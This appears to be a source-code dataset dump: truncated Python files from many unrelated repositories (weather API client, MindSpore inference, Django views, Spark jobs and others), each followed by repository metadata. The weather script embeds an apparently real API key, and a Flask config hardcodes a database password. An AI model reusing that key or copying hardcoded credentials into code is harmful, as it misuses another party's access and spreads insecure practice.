import requests import pprint pp = pprint.PrettyPrinter(indent=4) weather_url = "http://api.openweathermap.org/data/2.5/weather?q=San+Francisco&appid=2608f679d4594364525f6c6cc2246c79" response = requests.get(weather_url) response_json = response.json() pp.pprint(response_json) main_data = response_json["...
28.533333
118
0.754673
a1941bcd438a6e45b719b824834f3e836c14365a
5,321
py
Python
research/cv/stgcn/infer/sdk/main.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/stgcn/infer/sdk/main.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/stgcn/infer/sdk/main.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
34.108974
94
0.665476
a1b32c5d6450ecb23b83f8827fbe14123d81abfd
86
py
Python
test/tts.py
spinho010/I.A
fa978a0e6c599aca747ac057417daa62fe00f291
[ "MIT" ]
null
null
null
test/tts.py
spinho010/I.A
fa978a0e6c599aca747ac057417daa62fe00f291
[ "MIT" ]
null
null
null
test/tts.py
spinho010/I.A
fa978a0e6c599aca747ac057417daa62fe00f291
[ "MIT" ]
null
null
null
import pyttsx3 engine = pyttsx3.init() engine.say("Hello word!") engine.runAndWait()
14.333333
25
0.744186
c534f2cf6f563b77c8bf5ef50a90964738c7cfc0
141
py
Python
Pdfencrypt-main/install.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
Pdfencrypt-main/install.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
Pdfencrypt-main/install.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import os os.system("pip install pypdf2") os.system("pip install PyPDF2") os.system("clear") print("\033[1;32;40mType python Pdfencrypt.py ")
28.2
48
0.744681
9ac0e3f5b9cf250722de967569f2ec5232285bce
856
py
Python
BITs/2014/Kozlov_A_D/task_7_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Kozlov_A_D/task_7_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
BITs/2014/Kozlov_A_D/task_7_11.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
#Задача 7. Вариант 11. #1-50. Разработайте систему начисления очков для задачи 6, в соответствии с которой игрок получал бы большее количество баллов за меньшее количество попыток. #Козлов А.Д. #27.03.2016 import random print("Программа случайным образом загадывает название одного из вокзалов Москвы, Ваша задача...
45.052632
168
0.745327
b191a136c5ba5235dc3ad38d966e2e1ff88be6f9
1,545
py
Python
repo/service.vpn.manager/passwordpopup.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/service.vpn.manager/passwordpopup.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/service.vpn.manager/passwordpopup.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (C) 2019 Zomboided # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your...
37.682927
81
0.674434
b1a7e39e88079013fd5920a3e5617e9c20af0786
4,190
py
Python
Content Based Filtering/ContentKNNAlgorithm.py
uboni/Project-B-Movie-Recommender-System
77390637a71b112651fcf92b767e27ca0d3ee8c7
[ "MIT" ]
73
2019-05-08T05:59:53.000Z
2022-03-28T16:59:19.000Z
Hybrid/ContentKNNAlgorithm.py
mayank171986/Building-Recommender-Systems-with-Machine-Learning-and-AI
9e6dc58254ec1a2d2ca64c2f81a37f6390947701
[ "MIT" ]
1
2021-02-07T18:01:54.000Z
2021-02-23T12:26:16.000Z
Hybrid/ContentKNNAlgorithm.py
mayank171986/Building-Recommender-Systems-with-Machine-Learning-and-AI
9e6dc58254ec1a2d2ca64c2f81a37f6390947701
[ "MIT" ]
43
2019-07-18T03:26:22.000Z
2022-03-10T22:03:33.000Z
# -*- coding: utf-8 -*- """ Created on Fri May 4 13:08:25 2018 @author: Frank """ from surprise import AlgoBase from surprise import PredictionImpossible from MovieLens import MovieLens import math import numpy as np import heapq class ContentKNNAlgorithm(AlgoBase): def __init__(self, k=40, sim...
37.747748
104
0.586874
b264eba33da41b32eb0c21c2de4e83aafc9ef098
257
py
Python
Algorithms/Implementation/Chocolate.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Implementation/Chocolate.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
Algorithms/Implementation/Chocolate.py
baby5/HackerRank
1e68a85f40499adb9b52a4da16936f85ac231233
[ "MIT" ]
null
null
null
#coding:utf-8 for _ in xrange(int(raw_input())): n, c, m = map(int, raw_input().split()) count = n / c wrapper = count while wrapper / m: tamp = wrapper / m count += tamp wrapper = tamp + wrapper%m print count
18.357143
43
0.540856
ac40af257a44345213d7d0fb0ed324275cc617b9
1,966
py
Python
Utils/py/GoPro/utils/Logger.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/GoPro/utils/Logger.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/GoPro/utils/Logger.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
import logging import logging.handlers import os LOGGER_NAME = "pyGoPro" LOGGER_FMT = '%(levelname)s: %(message)s' LOGGER_FMT_CHILD = '%(levelname)s[%(name)s]: %(message)s' lh = logging.StreamHandler() sh = None fh = None logger = logging.getLogger(LOGGER_NAME) def setupLogger(quiet:bool = False, verbose:bool = Fa...
30.246154
119
0.689725
ac66710e0df19646b48b6c3c31ce9f0e9538d49d
4,799
py
Python
us-weather-history/visualize_weather.py
h4ckfu/data
bdc02fd5051dfb31e42f8e078832ceead92f9958
[ "CC-BY-4.0" ]
16,124
2015-01-01T06:18:12.000Z
2022-03-31T00:46:52.000Z
us-weather-history/visualize_weather.py
h4ckfu/data
bdc02fd5051dfb31e42f8e078832ceead92f9958
[ "CC-BY-4.0" ]
179
2015-01-07T10:19:57.000Z
2022-02-21T21:19:14.000Z
us-weather-history/visualize_weather.py
h4ckfu/data
bdc02fd5051dfb31e42f8e078832ceead92f9958
[ "CC-BY-4.0" ]
12,163
2015-01-03T14:23:36.000Z
2022-03-31T10:10:23.000Z
import matplotlib.pyplot as plt import pandas as pd from datetime import datetime ''' This is an example to generate the Philadelphia, PA weather chart. If you want to make the chart for another city, you will have to modify this code slightly to read that city's data in, change the title, and likely change the y-axi...
44.850467
154
0.702646
5a02add764f9e309401ce2ca4de6d02c1d536c3a
4,069
py
Python
Contrib-Inspur/openbmc/poky/meta/lib/oeqa/sdkext/cases/devtool.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
5
2019-11-11T07:57:26.000Z
2022-03-28T08:26:53.000Z
Contrib-Inspur/openbmc/poky/meta/lib/oeqa/sdkext/cases/devtool.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
3
2019-09-05T21:47:07.000Z
2019-09-17T18:10:45.000Z
Contrib-Inspur/openbmc/poky/meta/lib/oeqa/sdkext/cases/devtool.py
opencomputeproject/Rack-Manager
e1a61d3eeeba0ff655fe9c1301e8b510d9b2122a
[ "MIT" ]
11
2019-07-20T00:16:32.000Z
2022-01-11T14:17:48.000Z
# # Copyright (C) 2016 Intel Corporation # # SPDX-License-Identifier: MIT # import os import shutil import subprocess from oeqa.sdkext.case import OESDKExtTestCase from oeqa.utils.httpserver import HTTPService from oeqa.utils.subprocesstweak import errors_have_output errors_have_output() class DevtoolTest(OESDKExtT...
33.628099
78
0.648562
5a6e60988adeef111fc3cb8bdef20a44c1152d01
2,212
py
Python
lib/python/qmk/commands.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
null
null
null
lib/python/qmk/commands.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
null
null
null
lib/python/qmk/commands.py
fzf/qmk_toolbox
10d6b425bd24b45002555022baf16fb11254118b
[ "MIT" ]
null
null
null
"""Helper functions for commands. """ import json import os import platform import subprocess import shlex import shutil import qmk.keymap def create_make_command(keyboard, keymap, target=None): """Create a make compile command Args: keyboard The path of the keyboard, for example 'plank...
25.425287
114
0.667269
0b8e0fcea265c4404265f12bb260aae10b812d9f
12,238
py
Python
2020-09-02-0920-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
2020-09-02-0920-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
2020-09-02-0920-gma_my_scara_loesungen.py
gmaubach/OOP-with-Python
9b059e911d55d616e756324564f1f2cc524aa53d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Mon Sep 2 09:16:45 2020 @author: Georg Maubach """ # Ab Python 3.8 müssen dlls als vertrauenswürdig markiert werden. # Deshalb ab 3.8.x von den unteren beiden Anweisungen den # Kommentar entfernen und den Pfad zum Projektverzeichnis # korrekt angeben import os o...
25.927966
121
0.498529
0b9d6597a817345a625321e3ad25d5cbd29d928e
1,925
py
Python
tead/command.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
2
2016-08-28T21:32:39.000Z
2016-09-02T05:56:53.000Z
tead/command.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
7
2016-09-01T22:03:13.000Z
2019-06-13T21:38:05.000Z
tead/command.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
null
null
null
import os import pyfiglet class Command: def __init__(self, callback, helpText): self.callback = callback self.help = helpText class CommandParser: def __init__(self, world, gui): self._world = world self._gui = gui # command mapping self._commands = { ...
28.308824
91
0.515325
0bbdff56be1cd67c9d617eeedadfc556c6c343b0
453
py
Python
src/polarplots/polarbars.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
src/polarplots/polarbars.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
src/polarplots/polarbars.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
# polar barplots import numpy as np import matplotlib.pyplot as plt # Fixing random state for reproducibility np.random.seed(19680801) # Compute pie slices N = 20 theta = np.linspace(0.0, 2 * np.pi, N, endpoint=False) radii = 10 * np.random.rand(N) width = np.pi / 4 * np.random.rand(N) colors = plt.cm.gist_ncar(rad...
19.695652
70
0.706402
f00d6b6b5b72f7ad908a6947dca28857e7c119ff
2,982
py
Python
utest/ops3d_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
5
2018-04-11T14:11:40.000Z
2018-09-12T19:03:36.000Z
utest/ops3d_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
utest/ops3d_test.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
import unittest import zencad class Ops3dProbe(unittest.TestCase): def setUp(self): zencad.lazy.encache = False zencad.lazy.decache = False zencad.lazy.fastdo = True def test_linear_extrude(self): proto = zencad.ngon(r=3, n=12) zencad.linear_extrude(shp=proto, vec=3) ...
34.674419
79
0.568746
f033098740af4b4c13e08035cf6afd61c4e78765
2,817
py
Python
tests/solvers/base/base_mixin_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
34
2021-12-09T07:12:57.000Z
2022-03-11T08:17:20.000Z
tests/solvers/base/base_mixin_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
null
null
null
tests/solvers/base/base_mixin_test.py
omron-sinicx/ShinRL
09f4ae274a33d1fc1d9d542f816aef40014af6b5
[ "MIT" ]
4
2021-12-11T07:48:01.000Z
2022-03-01T23:50:33.000Z
""" Author: Toshinori Kitamura Affiliation: NAIST & OSX """ import gym import jax import numpy as np import shinrl as srl class MockActMixIn: def initialize(self, *args, **kwargs): super().initialize(*args, **kwargs) env = self.env if self.is_shin_env: key = jax.random.PRNGKey...
28.17
75
0.650337
650f74cb28cada42d321f2f2df7e8227acd9eefd
3,750
py
Python
spark-app/spark-app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
1
2021-11-30T14:42:42.000Z
2021-11-30T14:42:42.000Z
spark-app/spark-app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
null
null
null
spark-app/spark-app.py
LukasHenzel/BigDataWWI19DSB
790f4ad40596f82b07481b1a3550565235230f60
[ "Apache-2.0" ]
null
null
null
from pyspark.sql import SparkSession from pyspark.sql.functions import * from pyspark.sql.types import IntegerType, StringType, StructType, TimestampType # Wird nicht importiert import psycopg2 dbOptions = {"host": "postgres", 'port': 5432, "user": "Postgres", "password": "postgres"} dbSchema = 'popular' windowDuratio...
31.779661
115
0.6728
6540ed1330c3302f43ef3b342faba5a0d446204d
677
py
Python
AccessPoint03/AccessPoint/models.py
test1lax1/Toy
52ea70ee92959bd59a0afc8baa30b3a455e394d3
[ "MIT" ]
null
null
null
AccessPoint03/AccessPoint/models.py
test1lax1/Toy
52ea70ee92959bd59a0afc8baa30b3a455e394d3
[ "MIT" ]
5
2021-03-30T13:53:38.000Z
2021-09-22T19:18:06.000Z
AccessPoint03/AccessPoint/models.py
test1lax1/Toy
52ea70ee92959bd59a0afc8baa30b3a455e394d3
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class AccessPoint(models.Model): Tac = models.CharField(max_length=20) Date = models.DateField(null=True, blank=True, default=None) Time = models.TimeField(null=True, blank=True, default=None) BandWidth = models.IntegerField() subscrib...
30.772727
65
0.65288
68568cad9d37f831bb7268e92468c8a2762bc7d4
2,684
py
Python
python/oneflow/compatible/single_client/math.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/compatible/single_client/math.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/compatible/single_client/math.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
22.366667
78
0.717958
6865a8a3186dfec8d2f5165ec34aea7961202504
5,060
py
Python
official/cv/retinaface_resnet50/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
1
2021-11-18T08:17:44.000Z
2021-11-18T08:17:44.000Z
official/cv/retinaface_resnet50/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
null
null
null
official/cv/retinaface_resnet50/src/loss.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
2
2019-09-01T06:17:04.000Z
2019-10-04T08:39:45.000Z
# Copyright 2020 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
42.166667
99
0.662846
687d909891aebaa603551c996bceb200100e8fdf
402
py
Python
Exercicios/ex09-5.py
BoltzBit/LP
f84d36d1bdee9a20c197cebec2810234c5311fb8
[ "MIT" ]
null
null
null
Exercicios/ex09-5.py
BoltzBit/LP
f84d36d1bdee9a20c197cebec2810234c5311fb8
[ "MIT" ]
null
null
null
Exercicios/ex09-5.py
BoltzBit/LP
f84d36d1bdee9a20c197cebec2810234c5311fb8
[ "MIT" ]
null
null
null
#Calculo de Salário salarioHora = float(input('Informe o valor da hora trabalhada: ')) horasTrabalhadas = float(input('informe as horas trabalhadas: ')) salarioBruto = salarioHora*horasTrabalhadas inss = salarioBruto*0.11 contribuicaoSindical = salarioBruto*0.05 salarioLiquido = salarioBruto - contribuicaoSindical ...
25.125
66
0.778607
acda48fd9f62b45fd1649405d705565b9371c224
874
py
Python
python/generator_tricks_for_systemprogrammer/shutdownevt.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/generator_tricks_for_systemprogrammer/shutdownevt.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/generator_tricks_for_systemprogrammer/shutdownevt.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
# shutdownevt.py # # Example of a generator that uses an event to shut down import os import time import threading def follow(thefile, shutdown=None): thefile.seek(0, os.SEEK_END) while True: if shutdown and shutdown.is_set(): break line = thefile.readline() i...
21.317073
63
0.601831
4a137e24b04b87b1425b85d7f1c3371b8f67d268
1,276
py
Python
python/oneflow/test/modules/optimizer_test_util.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/test/modules/optimizer_test_util.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/test/modules/optimizer_test_util.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
35.444444
74
0.695925
4f1b2321dcad242570b2085a384d98c40e53b69e
1,220
py
Python
7-assets/past-student-repos/LambdaSchool-master/m6/63c1/recipe_batches/recipe_batches.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m6/63c1/recipe_batches/recipe_batches.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
7-assets/past-student-repos/LambdaSchool-master/m6/63c1/recipe_batches/recipe_batches.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
#!/usr/bin/python import math def recipe_batches(recipe, ingredients): pass arr_servings = [] # compare each object1 key's value to each object2 key's value for key in recipe: key_check = ingredients.get(key) if key_check == None: arr_servings.append(0) elif ingredients[key] >= recipe[...
35.882353
164
0.69918
4f8d66b3405512c8c80022e239c5ddfac2022bd6
439
py
Python
python/coursera_python/MICHIGAN/DataStructures/week5/mbox_h.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/MICHIGAN/DataStructures/week5/mbox_h.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/MICHIGAN/DataStructures/week5/mbox_h.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
fname = input("Enter file name: ") fh = open(fname) counts = dict() for line in fh: line1 = line.rstrip() if "From:" in line1: continue if "From " in line1: words = line.split() #count = count + 1 mail = words[1] counts[mail] = counts.get(mail,0) + 1 bigcount = None bigword = None for mail,count in count...
15.678571
41
0.653759
50a1b71f2c43eda86301b9ce375044e3dacfb490
13,863
py
Python
Client.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
1
2015-08-02T09:53:18.000Z
2015-08-02T09:53:18.000Z
Client.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
null
null
null
Client.py
lihuiba/SoftSAN
1b8ab2cae92b7aac34211909b27d4ebe595275d7
[ "Apache-2.0" ]
2
2018-03-21T04:59:50.000Z
2019-12-03T15:54:17.000Z
import rpc, logging, sys import messages_pb2 as msg import mds, ChunkServer import gevent.socket import guid as Guid import block.dm as dm from mds import Object import libiscsi, os import scandev, config from util import message2object as msg2obj from util import object2message as obj2msg from util import Pool from De...
27.235756
79
0.696458
50e579804590018d04bc8a61fda22cbd1359b274
380
py
Python
Chapter2_Basics/Solution1.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
2
2021-02-13T19:18:00.000Z
2021-11-10T09:54:49.000Z
Chapter2_Basics/Solution1.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
Chapter2_Basics/Solution1.py
franneck94/UdemyPythonIntro
4895a91a04eedce7d59b61bf12e5aa209fe60f85
[ "MIT" ]
null
null
null
"""Exercise 1: 1.) Write code that takes an integer number and prints True if: - The number is greater than 10 or less than 0 Else: print False 2.) Write code that takes two floats (x, y) and computes: - x^2 + x*y + y^2 """ # exercise1 number = 11 if number < 0 or number > 10: print(True) else: print(False) ...
14.615385
59
0.628947
0ff622a3ef228f61f60b3d52c7d2448395dea311
564
py
Python
config.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
2
2019-06-24T08:34:39.000Z
2019-06-27T12:23:47.000Z
config.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
null
null
null
config.py
pushyzheng/docker-oj-web
119abae3763cd2e53c686a320af7f4f5af1f16ca
[ "MIT" ]
null
null
null
# encoding:utf-8 import os SECRET_KEY = "My secret key" DIALECT = 'mysql' DRIVER = 'pymysql' USERNAME = 'root' PASSWORD = '123456' HOST = 'localhost' PORT = '3306' DATABASE = 'go-docker-oj' SQLALCHEMY_DATABASE_URI = "{}+{}://{}:{}@{}:{}/{}?charset=utf8".format(DIALECT, DRIVER, USERNAME, PASSWORD, HOST, PORT, ...
24.521739
119
0.602837
a8e27369725cc7b056d68d83829be68cf80a4a76
3,250
py
Python
MainProject/account/views.py
DarishkaAMS/Django_Projects-Django_Food_Delivery_App
2a1014c05ca628ba6bd9aefd2aae307e9d95c5c2
[ "MIT" ]
null
null
null
MainProject/account/views.py
DarishkaAMS/Django_Projects-Django_Food_Delivery_App
2a1014c05ca628ba6bd9aefd2aae307e9d95c5c2
[ "MIT" ]
null
null
null
MainProject/account/views.py
DarishkaAMS/Django_Projects-Django_Food_Delivery_App
2a1014c05ca628ba6bd9aefd2aae307e9d95c5c2
[ "MIT" ]
null
null
null
from django.contrib.auth import authenticate, login, logout from django.http import HttpResponse from django.shortcuts import render, redirect from django.conf import settings from .forms import AccountAuthenticationForm, RegistrationForm from .models import Account # Create your views here. def register_page_view(...
30.952381
80
0.637231
0ea7b46801c9a1f34d2d8ac6bfd9889a22a6b4a7
264
py
Python
Curso-Em-Video-Python/1Materias/09_Manipulando_Texto/#09 - Manipulando Texto.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/1Materias/09_Manipulando_Texto/#09 - Manipulando Texto.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/1Materias/09_Manipulando_Texto/#09 - Manipulando Texto.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
#Junta as Palavras '''frase = (str(input('Digite a frase: '))).split() junto = ''.join(frase) contrario = junto[::-1] if junto == contrario: print('É Palindromo A Frase *{}*'.format(frase)) else: print('Nn é Palindromo A Frase *{}*'.format(contrario))'''
26.4
62
0.628788
7ef8d24487849be43e6a8f1dc88404e3935f56df
667
py
Python
src/polarplots/polarlines.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
src/polarplots/polarlines.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
src/polarplots/polarlines.py
Ellon-M/visualizations
5a42c213ea8fd0597e2035778d9ae6460eb9e821
[ "MIT" ]
null
null
null
# line polar import plotly.graph_objects as go import pandas as pd df = pd.read_csv("https://raw.githubusercontent.com/plotly/datasets/master/polar_dataset.csv") fig = go.Figure() fig.add_trace(go.Scatterpolar( r = df['x1'], theta = df['y'], mode = 'lines', line_color = 'peru' )) ...
18.527778
94
0.566717
7d415fac14b1d42a1932f24713638ffd8c3f1114
1,214
py
Python
src/searching/test_searching.py
sklanier-sorting/sorting
c6058f950c86786bcf8b31686632ac9765aca011
[ "MIT" ]
71
2019-03-05T04:44:48.000Z
2022-03-24T09:47:48.000Z
src/searching/test_searching.py
sklanier-sorting/sorting
c6058f950c86786bcf8b31686632ac9765aca011
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/02_algorithms/Sorting/src/searching/test_searching.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
37
2019-03-07T05:08:03.000Z
2022-01-05T11:32:51.000Z
import unittest from searching import * class SearchingTests(unittest.TestCase): def test_linear_search(self): arr1 = [-2, 7, 3, -9, 5, 1, 0, 4, -6] arr2 = [] self.assertEqual(linear_search(arr1, 6), -1) self.assertEqual(linear_search(arr1, -6), 8) self.assertEqual(linear_...
33.722222
78
0.599671
bc1b438e2bb9f99163ef8cafcc4e45d0b3cfe6c7
935
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v4_0/reset_permissions_for_masters.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/patches/v4_0/reset_permissions_for_masters.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v4_0/reset_permissions_for_masters.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import print_function, unicode_literals from frappe.permissions import reset_perms def execute(): for doctype in ("About Us Settings", "Accounts Settings", "Activity Type", ...
44.52381
84
0.704813
cb8bd1289234d9476a053cde95ce887ebc6ddb73
6,650
py
Python
web/src/servicemgr.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
1
2016-05-31T06:52:53.000Z
2016-05-31T06:52:53.000Z
web/src/servicemgr.py
liukai0322/docklet
9e4d1f4fc2e523423b0e94406242a29b20643788
[ "BSD-3-Clause" ]
null
null
null
